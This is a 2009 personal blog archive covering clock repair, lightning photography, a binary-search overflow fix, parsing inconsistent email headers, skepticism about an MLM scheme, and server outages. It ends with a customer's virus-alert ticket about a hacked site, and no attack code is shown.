For a minute or two, I felt the clock was beyond repair. Face it, it was made in China, and except for the hands and the one small metal shaft, was made entirely of plastic. That it has served me well for seven years (really? has it been that long? Yikes!) perhaps I had gotten my money out of the thing and it was time to consider a new time piece.
Naaaah.
It took a bit of work, but once I realized that the front glass (okay, transparent plastic) was held in with two small tabs, I was able to get it apart rather quickly.
And there were only two tricky parts to it—getting the white gear back into place (the drive mechanism had to be inserted first, then the white gear wrangled into place and the small metal shaft inserted through that gear to mate with a hole in the drive mechanism) and making sure to insert the hour, minute and second hands into the midnight position just as the day and date hands advance.
Amazingly enough, the clock still works.
Woot!
Through a lens darkly
Just because my old 35mm camera was handy, a photo through its lens.
Tuesday, May 19, 2009
“Paul Blart: Mall Cop”
A while ago the topic of “Paul Blart: Mall Cop” came up among some friends (and in fact, one of my friends actually was a mall cop many many years ago) so naturally it appeared on the ol' Netflix queue.
Bunny and I started watching the story of a mall cop who has dreams of becoming a state trooper, but can't because of hypoglycemia. The first half of the film is slow moving, quite painful and frankly, we were very close to just popping the disc out of the player and watch something more interesting, like melting ice, but because Bobby Cannavale is in the film, we decided to skip ahead to when his character showed up.
We didn't go far enough (we thought he was one of the bad guys, but it turns out he plays the captain of the SWAT team), but we did skip ahead to the start of the mall heist, the major plot of the film. And it's from this point onwards that the film became more enjoyable, as a kind of Disneyfied “Die Hard.”
In fact, if you do see this film, my advice: watch the first five minutes, then skip ahead to the mall heist. You won't miss much, and you'll be spared the really painful bits of the film.
Wednesday, May 20, 2009
Enlightening Clouds II
Bunny recently found some unexposed rolls of 35mm film, and tonight I decided to test a roll (it's rather old film) on trying to photograph some lightning.
The last time I tried photographing lightning I had a difficult time with the digital camera. I couldn't just keep the shutter open until I saw lightning because the digital camera (at the time, and even the one I have now) just doesn't work that way. I had to time the lightning, plus take into account the inherent delay when taking the picture.
But with my 35mm camera? I have a shutter release cable, which I can use to keep the shutter open as long as I like (makes it trivial for very long exposures). So it's just a matter of opening the shutter, and waiting for some lightning, then closing the shutter. The only down side is I have to wait until the film is developed to see how well I did.
And yes, this particular photo was taken at night, with my digital camera (the camera in front of me is my 35mm camera), with the contrast and brightness adjusted so you can actually see the image.
No really, it was dark out there.
See?
Thursday, May 21, 2009
Enlightening Clouds II, Part II
I just had the pictures I took last night developed, and I must say, I'm impressed with the results, given it was a spur of the moment idea:
Honestly, I didn't even see the actual lightning bolts when taking this picture; I just remember seeing flashes of light from the night sky.
And next time, I'll try to move to where any crossing power/telephone lines aren't in the picture.
Friday, May 22, 2009
Selling out
- From
- XXXXXX XXXXXXXXX <XXXXXXXXXXXXXXXXXXXXXXXXXXX>
- To
- sean@conman.org
- Subject
- Interested in Purchasing Text Link
- Date
- Thu, 7 May 2009 08:36:32 +0500
Interested in Purchasing Text Link
I am interested in purchasing textlink advertising on several pages of your website
http://boston.conman.org/
. Let me know if you are interested and we can discuss further details.I can make a good offer.
Best Regards,
XXXXXX XXXXXXX
I get emails like this from time to time and sometimes, I'll follow up on it, curious as to what the actual deal will be, and for this particular email, I was curious.
The deal basically was a one time payment for a permanent placement of a paragraph on seven particular entries. And the seven selected entries were a pretty ecclectic collection of posts for text advertisements for educational, exam, certification and internet related websites. But hey, it's their money I'll be receiving …
The only thing that did bother me was the “permanent placement” part, especially for the amount of money being offered. I replied with: “I'm interested, but the price given for perpetual ads seems too low. A year is fine though.” Hey, it can't hurt to haggle a bit.
- From
- XXXXXX XXXXXXX <XXXXXXXXXXXXXXXXXXXXXXXX>
- To
- Sean Conner <sean@conman.org>
- Subject
- Re: Interested in Purchasing Text Link
- Date
- Sat, 9 May 2009 14:56:00 +0500
Hi,
I can understand your concern for a higher fee but you have to consider the fact that i am advertising on the internal pages. Also i am advertising at the bottom of each page which doesn't have much real estate value.
Most advertisers look to advertise on the top of the page but at the bottom of each page the value has to be lower.
See basically there is no opportunity cost there, plus you can continue to advertise on the top of your page which is really your premier advertising spot.
Even then, after reconsidering my budget, I am willing to [increase the amount by 50%] for the 5 years deal.
I hope, now, it will also OK to you.
Okay, if the check clears, why not?
So I received the ads today, and placed them on the given entries and am currently awaiting approval before the check is sent. And I figure that if I hear nothing in two weeks, I can pull the ads.
But if all goes well, I'll have some additional fundage in the bank account. And don't be surprised if you come across something like:
— Paid Advertisement —
Well, not actually. This is just a sample. You too, can purchase this spot on any entry here in this blog. Just write and ask for details …
in the random entry or two …
Update on Sunday, June 22nd, 2014, after the ads expired
I go into bit more detail about this deal, and why I won't be selling out any time soon …
Saturday, May 23, 2009
Some bugs can lurk for years
I was shocked to learn that the binary search program that Bentley proved correct and subsequently tested in Chapter 5 of Programming Pearls contains a bug. Once I tell you what it is, you will understand why it escaped detection for two decades. Lest you think I'm picking on Bentley, let me tell you how I discovered the bug: The version of binary search that I wrote for the JDK contained the same bug. It was reported to Sun recently when it broke someone's program, after lying in wait for nine years or so.
Back in November I was working on a program where I needed a binary search that not only returned if I found something, but where it was, or would be if found. I had written such code for my greylist daemon so I lifted the code from there. As I was reusing the code, I realized that there indeed, could be a potential problem with it, in that a calculation of a certain value could overflow and cause unpredictable behavior.
But while I recognized the problem, I neglected to fix the problem in the greylist daemon. And I completely forgot about it until I came across the blog post “Official Google Research Blog: Extra, Extra— Read All About It: Nearly All Binary Searches and Mergesorts are Broken.
Oops.
Anyway, the patch was a one line change, from
mod = (low + high) / 2;
to
mid = low + ((high - low) / 2);
The old code certainly worked, but there could be a chance, if the
indicies low
and high
were significantly large
enough, to overflow and cause undefined behavior. Truth be told, both
high
and low
would have to be above 2,000,000,000
(on a typical system) before you might even get bit by this bug.
But still, the potential exists, and why not if it's an easy fix.
And all this is to announce the latest version of the greylist daemon (the “Beefier Bsearch” version if you will).
Tuesday, May 26, 2009
Rolling, rolling, rolling
There's been some contention at The Sunday Game™ about the use of computers to generate random numbers. Usually, dice are used, but there is a small minority who prefers the use of computers over the use of physical dice when random numbers are called for.
But this, I think, is an excellent compromise.
I had a soft target of a machine capable of 200,000 rolls a day, as site traffic is growing. However, any automation project worth doing is worth over doing, and I way overshot the mark. The result is what you see here: a machine that can belch a continuous river of dice down a spiraling ramp, then elevate, photograph, process and upload almost a million and a half rolls to the server a day. I may not get nominated for a Nobel prize, but the deep rumbling vibration you feel more than hear when two rooms away is quite impressive.
Via crasch, Dice-O-Matic hopper and elevator - GamesByEmail
It's a dice rolling machine! A computer controlled machine to roll dice— the computer uses a camera to read the results. Now this is a computer generated random number I can trust.
Monday, June 01, 2009
And here I thought dating was easy …
I'm building on the work of indexing my filesystem by indexing all of my email. I have a ton of it spread across various directories and when ever I have to search for something (such as the time I flamed an entire department at FAU on a public mailing list—ah, those were the days), it's a long drawn out ordeal to find it.
Initial stab at the problem is to just index a few email headers, like
From:
, To:
(and the related Cc:
),
Date:
and Subject:
—the primary headers one would be
interested in.
I decided to tackle one of the harder fields to process first—
From:
. While the format is specified in RFC-822 and RFC-2822, there's still quite
a bit of variance in the format to be annoying.
I was able to squish 23 different formats into four cases:
- email address and real name aren't delimited, in which case, the only thing to parse is the email address;
- email isn't delimited, but the real name is (between parentheses, or quotes), so extract the real name from between the delimeters, and anything that isn't delimited is the email address;
- email is delimited (between angle brackets or square brackets), but the real name isn't, so extract the email address, and anything that isn't delimited is the real name;
- both the email address and real name are delimited, so it's trivial to extract both.
Then, I decided to parse the Date:
header. Now, this
is specified, quite plainly:
5. DATE AND TIME SPECIFICATION 5.1. SYNTAX date-time = [ day "," ] date time ; dd mm yy ; hh:mm:ss zzz day = "Mon" / "Tue" / "Wed" / "Thu" / "Fri" / "Sat" / "Sun" date = 1*2DIGIT month 2DIGIT ; day month year ; e.g. 20 Jun 82 month = "Jan" / "Feb" / "Mar" / "Apr" / "May" / "Jun" / "Jul" / "Aug" / "Sep" / "Oct" / "Nov" / "Dec" time = hour zone ; ANSI and Military hour = 2DIGIT ":" 2DIGIT [":" 2DIGIT] ; 00:00:00 - 23:59:59 zone = "UT" / "GMT" ; Universal Time ; North American : UT / "EST" / "EDT" ; Eastern: - 5/ - 4 / "CST" / "CDT" ; Central: - 6/ - 5 / "MST" / "MDT" ; Mountain: - 7/ - 6 / "PST" / "PDT" ; Pacific: - 8/ - 7 / 1ALPHA ; Military: Z = UT; ; A:-1; (J not used) ; M:-12; N:+1; Y:+12 / ( ("+" / "-") 4DIGIT ) ; Local differential ; hours+min. (HHMM)
STANDARD FOR ARPA INTERNET TEXT MESSAGES, § 5.1
Okay, clear if you're into such things. And from the most recent specification:
date-time = [ day-of-week "," ] date FWS time [CFWS] day-of-week = ([FWS] day-name) / obs-day-of-week day-name = "Mon" / "Tue" / "Wed" / "Thu" / "Fri" / "Sat" / "Sun" date = day month year year = 4*DIGIT / obs-year month = (FWS month-name FWS) / obs-month month-name = "Jan" / "Feb" / "Mar" / "Apr" / "May" / "Jun" / "Jul" / "Aug" / "Sep" / "Oct" / "Nov" / "Dec" day = ([FWS] 1*2DIGIT) / obs-day time = time-of-day FWS zone time-of-day = hour ":" minute [ ":" second ] hour = 2DIGIT / obs-hour minute = 2DIGIT / obs-minute second = 2DIGIT / obs-second zone = (( "+" / "-" ) 4DIGIT) / obs-zone
RFC-2822: Internet Message Format, § 3.3
Really, the only thing this does is mandate that the year be four digits long, moves to a numeric-only timezone format and clarifies a bit where white space appears, but otherwise, is pretty much the same as the older spec.
So, if I ignore the timezone for now (because the Standard C library has such piss-poor support for it, but that's a rant for another time), the only real issue is handling two or four digit years.
And in poking around the man pages for the various Standard C library
routines, I came across strptime()
, which is the functional
opposite of strftime()
—instead of converting the time to a human
representation, it'll take a human representation and convert it to a time
value. It isn't a Standard C call, but hey, why not use it for now?
And it appears that the two-digit/four-digit year isn't a problem for
strptime()
:
When a century is not otherwise specified, values in the range [69,99] shall refer to years 1969 to 1999 inclusive, and values in the range [00,68] shall refer to years 2000 to 2068 inclusive; leading zeros shall be permitted but shall not be required.
man page for
strptime()
Sounds perfect!
Only it blew up when it encounted Wen, 2 Mar 2005 01:39:42
+0000
.
Sigh.
Okay, make sure I start parsing past the optional day of the week. It then
blew up on Sat Mar 5 18:58:36 2005
.
What the—? That's not even a standard format! And then there was
Wed,19 十二月 2001 20:23:05
(I added the question marks because I
can't determine the character set that was used for the month—there's
nothing in that particular email that even hints what language it
might be I found out which
language---Chinese. Figures).
And let's not forget 9/8/99 1:01:12 AM Pacific Daylight Time
(lovely) or Fri Jun 28 10:07:44 PDT 2002
or even
Wed 8-Jan-2003 08:24:20
.
Oh, and we mustn't forget Tue, 23 May 100 22:18:56 -0400
.
Double sigh.
I found it amazing—one of the more strictly defined fields in an email and yet there still was an amazing amount of garbage to be found (although to be fair, these anomalies account for less than one per cent of all the emails scanned, but when you have thousands of emails, it can still add up).
(And one more interesting note—I did not see one email use the military time zone format.)
Wednesday, June 03, 2009
Waist deep in emails
I'm having a lot of fun writing the email indexing program, despite having to code around a few broken mbox files. I've also been surprised at what I've found so far (not in the “oh, I forgot about that email!” way but more in the “What the—?” way).
At first, I assumed that no
email header would be longer than 64K, but no, turns out that isn't big enough.
Turns out I have an email with a header that is 81,162 bytes in size, and it
has enough email addresses (in the Cc:
header) to populate a
small mass-mailing list (and yes, it's spam).
I'm also tracking unique sets of headers and unique message bodies (via the SHA1 hashing function). There are 118 messages with the same body but with different headers and the amusing bit is that the emails in question wheren't spam! It's from a mailing list I used to run years ago where one of the members apparently changed his email address, and for a period of time each message that went out caused his automated system to send an update to the list.
And of course, he didn't unsubscribe his old email address.
Heh.
The tracking was done to keep from indexing duplicate emails (since my testing corpus is 1,600 mbox files, some of which may be backups—I don't know which ones though, which is part of the reason I'm writing this program) so in the end I should end up with a set of unique headers.
I got down to 16 emails with duplicate headers, but unique bodies.
That scared me.
A small digression: at this point, the program pulls each email out of the mbox file, and writes the headers into one file (the original, plus a few I add during processing, like the SHA1 hash results) and the body of the email into another file (my dad likes to send me photos and videos in email, so the bodies of those messages tend to be rather large, and I'm concentrating on the headers at the moment). I currently end up with about 50M of headers and almost a gigabyte-worth of email bodies. Now, continuing on …
I pick one of the duplicate hashes, scan for it, and then check the messages:
>find header_raw/ | xargs grep FFCC3E0BCBF960EBBEA583E77E51CE0CEB59E04D ./000008069:X-SHA1-Header: FFCC3E0BCBF960EBBEA583E77E51CE0CEB59E04D ./000026823:X-SHA1-Header: FFCC3E0BCBF960EBBEA583E77E51CE0CEB59E04D >grep X-SHA1 header_raw/000008069 header_raw/000026823 header_raw/000008069:X-SHA1-Header: FFCC3E0BCBF960EBBEA583E77E51CE0CEB59E04D header_raw/000008069:X-SHA1-Body: 5C823DD92D3DCDC5AD43953D72B1D60017A134D6 header_raw/000026823:X-SHA1-Header: FFCC3E0BCBF960EBBEA583E77E51CE0CEB59E04D header_raw/000026823:X-SHA1-Body: 85584F0167666BAA506E41A3D9ED927227F0FEF0 >
(Note: I can't just grep PATTERN *
because there are simply
too many files (over 45,000) which exceeds the command line limit—that's
why I use find
and xargs
).
Okay, same headers, different body. Just what is going on here? I check the bodies:
>more body/000008069 Status: RO Accept All Major Credit Cards!!! Don't be fooled by the copycats. We are one of the original company's offering merchant credit card services for all kinds of business's. [sic]
This isn't looking good—it looks like my header parsing code is missing a header. What about the other email?
>more body/000026823 Status: RO Content-Length: 2815 Lines: 104 Accept All Major Credit Cards!!! Don't be fooled by the copycats. We are one of the original company's offering merchant credit card services for all kinds of business's. [sic]
Okay, check the mbox files to see what's messing up the header parsing. What I find actually reassures me:
From cherylg1582@msn.com Wed Dec 12 14:13:00 2001 Return-Path: <cherylg1582@msn.com> Received: from gig.armigeron.com ([204.29.162.10]) by conman.org (8.8.7/8.8.7) with ESMTP id OAA06543 for <spc.wopr@conman.org>; Wed, 12 Dec 2001 14:12:59 -0500 Received: from mercury.aibusiness.net (emi.net [208.10.128.2] (may be forged)) by gig.armigeron.com (8.11.0/8.11.0) with ESMTP id fBCJ8Aa31356 for <spc@armigeron.com>; Wed, 12 Dec 2001 14:08:10 -0500 Received: from domainmail.ionet.net (domainmail.ionet.net [206.41.128.18]) by mercury.aibusiness.net (8.9.3/8.9.3) with ESMTP id NAA19835 for <spc@emi.net>; Wed, 12 Dec 2001 13:52:26 -0500 Received: from kqyfqkpby.motor.com (r145h250.afo.net [209.149.145.250] (may be forged)) by domainmail.ionet.net (8.9.1a/8.7.3) with SMTP id MAA02841; Wed, 12 Dec 2001 12:38:11 -0600 (CST) Date: Wed, 12 Dec 2001 12:38:11 -0600 (CST) Message-Id: <200112121838.MAA02841@domainmail.ionet.net> From: "griffin" <griffinfpzwrhlllngc@aol.com> Subject: No fee! Accept Credit Cards for the Holidays! (bbjlm) Reply-To: elicasabona1787@mailexcel.com MIME-Version: 1.0 X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win98; I) Content-Type: text/plain Status: RO Accept All Major Credit Cards!!!
It wasn't my code (thank God! The parsing code is getting a bit convoluted at this point), but some clueless spammer trying to add additional headers in the body of the message (the other one was the same). So I'll assume the other 14 “duplicates” are similar in nature—spammers trying to be clever.
And now, back to coding …
Monday, June 15, 2009
The only thing you can't do is move windows between the screens
Synergy lets you easily share a single mouse and keyboard between multiple computers with different operating systems, each with its own display, without special hardware. It's intended for users with multiple computers on their desk since each system uses its own monitor(s).
Redirecting the mouse and keyboard is as simple as moving the mouse off the edge of your screen. Synergy also merges the clipboards of all the systems into one, allowing cut-and-paste between systems. Furthermore, it synchronizes screen savers so they all start and stop together and, if screen locking is enabled, only one screen requires a password to unlock them all. Learn more about how it works.
Synergy is a neat program if you have multiple computers at your desk (plus they need to be networked).
It's also easy to configure. All I needed to configure Synergy (which is run on each computer) was:
# # See that picture above? On the left is my laptop, # blackbox. To its right is the monitor for my main # Linux desktop computer, lucy. And to the right of # lucy is the monitor for marvin, my Mac Mini. # # This configuration maps the spatial layout of the # computers to allow Synergy to move the keyboard/mouse # about the three computers. # section: screens lucy: blackbox: marvin: end section: links lucy: left = blackbox right = marvin blackbox: right = lucy marvin: left = lucy end section: aliases lucy: lucy.roswell.conman.org blackbox: blackbox.roswell.area51 marvin: marvin.roswell.area51 Sean-Conners-Computer.local end
There's more that I could configure (even remap the keys on the keyboard) but what I have above works just fine, and man, it sure beats having to hit ScrollLock-ScrollLock-0-1 or ScrollLock-ScrollLock-0-2 to switch computers. And the cut-and-paste between systems is just icing on the cake.
Saturday, July 04, 2009
Dandelions and Palm trees
Bunny and I headed up to Indiantown (and while a small town, it was large enough to attract about a dozen Tea Party protestors) to visit her mom, attend a local barbeque and to catch the Indiantown fireworks show.
And for such a small town, it was quite the fireworks show.
I also heard that the local group of citizens of Indiantown actually collect money and pay for the show, not the general tax payers. How about that?
Tuesday, July 14, 2009
What do you get when you cross Amway with Amazon? Get rich while feeding Africa, or a Ponzi scheme?
Update at 9:30pm, July 16th, 2009
Well, the TamPogo Compensation Plan has changed since I quoted it yesterday which makes some of my points here moot. I'm doing some extensive editing of this entry to reflect not only the changes TamPogo has made, but also because of some very strong feedback a couple of people have made on these entries.
I'm still skeptical of the company (especially since I still can't find any substantial information about them)---that hasn't changed. What has though, is some of the information the company is providing. But by all means, do your own research …
Normally, I would have ignored the email as spam, but since it came from someone I've known for a long time, I decided to take a look at the TamPogo site and see for myself just what the excitement was all about.
What if I told you that the brains behind MySpace.com has developed a network marketing concept that is free to join, does not charge more for products than you would find in the general market, and has a comp plan that can be done on the back of a business card-no kidding-8 level simple uni-level pay plan with really low requirements and no break-away.
No meetings, no inventory, a laptop is all you need.
From an email I received
It sounds like a standard MLM scheme—you recuit some people, and they recruit people, and so on, and you market products to the people you recruit. If any of your recruits buy products from the TamPogo site (and they claim to have thousands of different items for sale, everything from clothing to toys, but they have yet to list anything on their site). The compensation mentioned in their introductory video makes it sound like you get a $1.20 commission per item [I really don't like the way they describe the compensation in their video, overhyping (in my opinion) the multi-level marketing aspect of it and glossing over the details in their own compensation plan. Buy hey—it sure sounds exciting! —Sean] [Editorializing a bit much, are we? —Editor] [Yes, but it's my blog, darn it! —Sean], but when you really start digging you find how their compensation actually works:
iReps
- Each Fast Track Product purchased by an iRep provides a minimum of $10.00 payout as Network Commission.
- Each of the 8 iReps above the member who made the purchase receives 12% of the Network Commission bypassing the first upline iRep when the purchase is made by a Direct Customer. The remaining 4% is paid out as monthly bonuses, at Tampogo's discretion [emphasis added — Editor].
- iReps can sponsor an unlimited number of people on any level.
iReps must personally sponsor 8 active iReps to be paid on all 8 levels of their network.- iReps are paid on depth (up to 8 levels) based on the width of their 1 st level (up to 8 personally sponsored, Active iReps). iReps who personally sponsor 8 Active iReps on their 1 st level are paid on all 8 levels of their network
- If an iRep has less than
eight8 personally sponsored, active iReps on thier 1st level for a given calendar month, they will be paid commission only on as many levels as they have active iReps. For example, if an iRep has three personally sponsored active iReps, they will earn commission on the first three levels of their network.- An iRep must purchase one Fast Track Product OR have two Fast Track Products purchased by Direct Customer(s) each calendar month to remain active.
- If an iRep does not qualify to remain active, they will not be eligible to receive commission or bonuses for that calendar month
If an iRep does not purchase one Fast Track Product in a calendar month, they will not be eligible to receive commission or bonuses.- If an iRep remains inactive for a period of six months, they will be removed from the Network and lose their position and downline and rollup will occur.
- Commission and bonuses will be paid out on the 15th of each month for iReps who have a minimum of $25 of commission accumulated from the previous month(s).
iReps agree that a minimum of 50% of all products they purchase will be sold to a Retail or Direct Customer.- TamPogo commissions are paid based on a Unilevel Network with dynamic compression.
Direct Customers
- Direct Customers are assigned to an iRep and given a Member ID.
- When a Direct Customer makes a purchase, 50% of the Network Commission generated is paid as Sponsor Commission and 50% is paid to the network.
Retail Customers
Retail Customers purchase product directly from an iRep.Retail Customers do not register on the TamPogo website or receive a Member ID.
Non-Profit Organizations
Once approved by TamPogo, a Non-Profit Organization can enroll as an iRep.A Non-Profit Organization is exempt from the monthly purchase requirement.A Non-Profit Organization will not be allowed to make purchases.
[If you aren't reading this on July 16th, 2009, be aware that the TamPogo Compensation Plan may have changed yet again. Your best bet is to check the source directly. —Editor]
The video concentrates so much on how much you could make that
they tend to gloss over the little details shown above. You only get
commission on sales to your “network partners” and “direct customers” (who
have signed up under you). Make a
sale to anyone not signed up—no commission. And the commission doesn't
appear to be exactly “flat” either.
That kind of takes the excitement out of the video.
[The following paragraph is struck because of extreme bias against multi-level marketing. —Editor]
So it seems that the people at
TamPogo found a way to “cushion” the Ponziesque feel of your typical MLM plans, as well as one of the major
problems I see with companies like Amway (the ever filling garage). Plus,
given the free signup and ongoing requirement to buy at least one “fast track
product” per month (and TamPogo indicates which products are “fast track”—which means “a product priced between $20–30”) it will at least limp along
without getting too imbalanced.
Anyway, the real problem I have with the company is that I can't find any reliable information about the company. Those “brains behind MySpace.com”? The “brains” behind MySpace are Brad Greenspan, Chris DeWolfe, Josh Berman and Tom Anderson (according to Wikipedia) and as much as I tried, I couldn't find any associations between them and TamPogo.
I did eventually get a name: Chuck Stebbins. And it came with the following information about him:
- Mr. Stebbins is one of the most profound internet marketers who has ever lived, having sold over $1½ billion in products over the internet.
- In the 90's Mr. Stebbins launched his own e-commerce company called Intermix.
- In 14 short months, he grew Intermix to a staggering 34 million people, and then sold it to MySpace for a whopping $250 million dollars.
Now, I've never heard of the guy, but then again, there are any number of Internet marketing gurus I've never heard of. But you would think his name would at least show up on the Wikipedia page of Intermix. But no, it does not.
It is especially odd that Intermix was supposedly sold to MySpace, given that Intermix developed MySpace; someone is confused about who bought whom.
Also strange is that Intermix was an Internet Marketing company; the notion that they had 34 million people is curious. And, according to BusinessWeek, MySpace only had 22 million users when it was sold in 2005 (for $580 million, but I digress).
And nowhere on the site do you find any information about the company itself, who owns it, who runs it, nothing.
And I have to ask myself, why?
Update on July 15th, 2009
The store opens! Or maybe not.
Update on July 16th, 2009
Wednesday, July 15, 2009
“Let's Go Shopping!”
Yesterday I mentioned my skepticism of TamPogo because of two reasons:
- I can't locate any reliable information about the company;
- I can't even browse their store since it wasn't open yet.
The store's “Grand Opening” is supposed to be July 15th. According to the calendar, today is July 15th. And by 4:30pm I would have expected the store to be open.
Ooh look! “Coming Soon. Grand Opening July 15.”
Or is it the case that I have to sign up to shop?
Update on July 16th, 2009
Update at 9:30pm on July 16th, 2009
I've received some strong feedback on this entry for basically making snarkish remarks on a site that hasn't even opened yet. And yes, I admit, this was a cheap shot, given that the Computer Industry has an extensive history of late products.
Why, hello, Mr. Kettle. Nice to meet you. That's some mighty fine crow you have there.
Tasty crow aside, I've also had to make major editing changes to yesterday's entry due to some changes TamPogo has made over the past 24 hours.
Thursday, July 16, 2009
“Let's really go shopping!”
Ah, it seems that TamPogo was finally able to get their store up and running.
It'll be interesting to see how this plays out.
Update later this evening
I was out of line in yesterday's entry (mmmm boy … crow), and I did some major editing on the entry that started this all …
Unicorns and Rainbows
It seems that the past few entries (which you should check out, because of extensive editing I've done since they were posted) have generated a response I haven't seen since 1988, when I wrote an extremely unflattering humor column about my high school English teachers (which got back to them—ulp) for a university newspaper. Ugly then, and ugly now.
I didn't intend to sabotage anyone, but to warn. The deeper I tried to research TamPogo, the more questions kept coming up, and precious few, if any, answers, and what answers I did get didn't fit together .
Saturday, August 22, 2009
If Corsair can break his hiatus, so can I
Sometimes I think about having a public journal, like Spring or Sean. In fact, Sean just asked me today if he could reference my journal in his using my real name.
Sean, after reading this article, the answer is a resounding no. I'll take my chances and try to remain anonymous.
The article in question is your standard anonymous blogger comes out and gets fired story. I don't begrudge Corsair for wanting to remain anonymous as we as a society attempt to figure out new social norms when suddenly everybody has a global soapbox.
Heck, I found out the hard way that information tends to find its way to the very people you don't want it to reach (back in college, I wrote a rather scathing humor column about my high school English teachers, and of course it got back to them—sigh). [And it wasn't all that funny either. —Editor][Thanks. — Sean][No problem. —Editor]
The approach I take towards blogging (or journaling, or whatever you want to call this) is to keep the private stuff private (much like what happens in Vegas, stays in Vegas, and that's all I'll say about that trip to Las Vegas, or any other trip I've taken to Las Vegas), along with stuff that happens to friends (it's their story to tell, not mine).
Work—well, when I worked at Negiyo (which isn't the real name of the company, and yet, nine years after working there I still won't call it by its real name) I didn't say anything bad about the company, nor what I really did (which wasn't much different than Tom Smykowski's job when you get right down to it) and I never mentioned names of any fellow cow-orkers.
Now I tend to write more about my job, but mostly it's notes to myself, and a way of letting off steam. I've yet to name the company I work for now (here it's known as The Company), and I haven't named my fellow cow-orkers. I never mention customer names and when I do mention projects, I give them different code names than the ones we use at The Company.
It also doesn't hurt that Smirk, who not only owns The Company, but signs the checks I cash, gets on my case when I don't post often enough. (See! I'm blogging! I'm blogging!) But I realize that not every blogger has that luxury. In fact, of all the people I do know in Real Life who also blog (or keep online journals), I think I'm the only one who even mentions work.
Don't worry Corsair, I won't reveal your true name to anyone.
I would call it “Squid Eyeballs” myself …
(Kevin and Kell comic via Websnark)
I'm telling you people, start with the California rolls and next thing you know, squid eyeballs!
No one believes me though.
Sunday, August 23, 2009
Now all I need is a spacesuit …
I spent pretty much the entire day reading Atomic Rocketships of the Space Patrol (otherwise known as “So You Wanna Build A Rocket?”) and it was time well spent. Just about everything you ever wanted to know about rocket and spaceship design, from staffing (crewing?) to space warfare to holding on to the reigns of a galactic empire. There's even a section on futuristic games, a bunch of which I would love to try (any Trekkers for Fizzbin?).
Paradice
The one future game I read about that really leapt out at me just for the sheer beauty of the board and pieces was Paradice.
It's a very beautiful game to look at—almost a work of art.
Paradice is interactive art, a game of give and take. Players explore decisions made in response to changing circumstances and engage with the contradictions of competing needs.
Oh, well, I guess it is art. Hard to come by, and the only version that seems to be available these days is not the above resin board (which at first I thought was glass) but a wooden version which just doesn't look as good (and while cheaper, is still about $50).
The game play—eh, but I haven't played it. I did read the rules though, and the design behind the game play is unique, such that only one side can win (it's in the rules) but there's a one in six chance each turn that the players swap sides, and in a certain circumstance the game starts over (and the players switch sides).
As an art piece, it's a statement about the dichotomy of man's desire to consume (one player) vs. that of preserving the environment and becoming one with nature (the other player), which is why I'm pretty much “eh” on the game play (it's not that I don't believe in nature conservation, but the game is so one sided—it's the “being one with nature” side that can win, that the moralistic viewpoint of the game design is being forced down my throat—that I find the game play off-putting).
But man, it certainly is a beautiful looking game …
Monday, August 24, 2009
“Frühling für Hitler”
I really don't know what to make of this. It's odd enough that a Jewish man would write a musical number called “Springtime For Hitler (okay, it was for a comedy film) but that doesn't even come close to the cognitive dissonance of seeing it on German television (link via news from me).
Words are failing me.
Tuesday, August 25, 2009
Traffic jams just happen
I've been aware of “traffic waves” for several years now and the animated graphics on the site do illustrate the issue, but now it seems that Japanese researches have actually created “traffic waves” on a closed course:
Researchers from several Japanese universities managed the feat by putting 22 vehicles on a 230-metre single-lane circuit (see video).
They asked drivers to cruise steadily at 30 kilometres per hour, and at first the traffic moved freely. But small fluctuations soon appeared in distances between cars, breaking down the free flow, until finally a cluster of several vehicles was forced to stop completely for a moment.
That cluster spread backwards through the traffic like a shockwave. Every time a vehicle at the front of the cluster was able to escape at up to 40 km/h, another vehicle joined the back of the jam.
The shockwave jam travelled backwards through the ring of vehicles at roughly 20 km/h, which is the same as the speed of the shockwave jams observed on roads in real life, says lead researcher Yuki Sugiyama, a physicist in the department of complex systems at Nagoya University.
Via Hacker News, Shockwave traffic jam recreated for first time - tech - 04 March 2008 - New Scientist
The video of the “traffic waves” (called “shockwave traffice jams” in the video) is fascinating to watch as the “traffic wave” just kind of happens.
Thursday, August 27, 2009
Deutsch volk und westlich Musik (med några svenska rap musik)
I'm beginning to wonder about the Germans—first it's “Springtime For Hitler” on German television, and now it's Germans doing a country-western cover of the funk R&B song Word Up (link via kisrael.com).
I don't know why, but I'm finding I like American country-western music when done by non-Americans. Okay, maybe like is too strong a word—maybe tolerate would be better. It's the finding of something so unexpected, like a plane crashing into a derailing train during an earthquake just before a gas pipe explosion, only in a good way. It's the cognitive dissonance of watching The BossHoss (the German country-western group) covering a hip hop song originally done by a white guy in a musical form originally from the African American communities.
In fact, this fascination with American musical culture interpreted by non-Americans extends even further, to Swedish rap (I blame Wlofie for bringing this to my attention—not that there's anything wrong with Swedish rap—it just find it … oh … I don't know … amusing, much like Wlofie finds our attempt at Swedish meatballs amusing).
Saturday, August 29, 2009
My boss is no longer allowed to take vacations
Let me say this up front: Smirk is no longer allowed to take vacations, work related or otherwise.
Early this morning (around 5:00 am) I had to deal with a downed machine in The Data Center In Charlotte. That involved calling said Data Center (long distance, because there was an issue with their 800 number) and walk a technician through running fsck
on a corrupted file system.
Then this evening (around 5:00 pm) I had to deal with a downed data center in The Data Center in Boca Raton (yes, that sounds silly, but if customers who get their Internet connection through our Data Center In Boca Raton can't get out to the Internet, and when we can't get in to The Data Center In Boca Raton from the Internet, then we have to assume the worst—that al-Qaeda took out the site from orbit, just to make sure). This involved several frantic calls between Smirk, R (a customer and partner of ours) and Dan the Network Engineer, and a five minute drive through a thunderstorm (I wasn't worried about being struck because, as everybody knows, being struck by lightning, along with getting bit by a radioactive spider, being caught in a gamma radiation blast, or getting washed with nuclear waste, confers superhero abilities in a person) to find a rather confused UPS on battery mode (with full battery power) but not supplying power to the devices plugged into it (go figure).
The last time bad things like this happened, Smirk and I were on a business trip, and the only common element between the two times—Smirk was out of town.
Oh wait … that was in August as well.
Hmm … perhaps August should be cancelled.
Nah, Smirk is not allowed to take vacations.
Sunday, August 30, 2009
Down the rabbit hole
So far, three for three. A downed server, a downed data center and now several hacked sites, all on the same server.
I swear, Smirk is never going on vacation again.
Anyway, the following ticket comes in:
Subject: URGENT - XXXXXXXXXXXXXXX - VIRUS alert
Hello support,
When trying to access the site it gives a virus alert and Norton would not let me download the files to clean them.
Are you able to do the cleaning, it seems as it is since December 2008, when the sever was upgraded, it is very strange. I you are able to help cleaning the files, or any other way that you can suggest for the cleaning of them would be very helpful …
Thanks a lot,
XXXXXX
(English is not XXXXXX's first language)
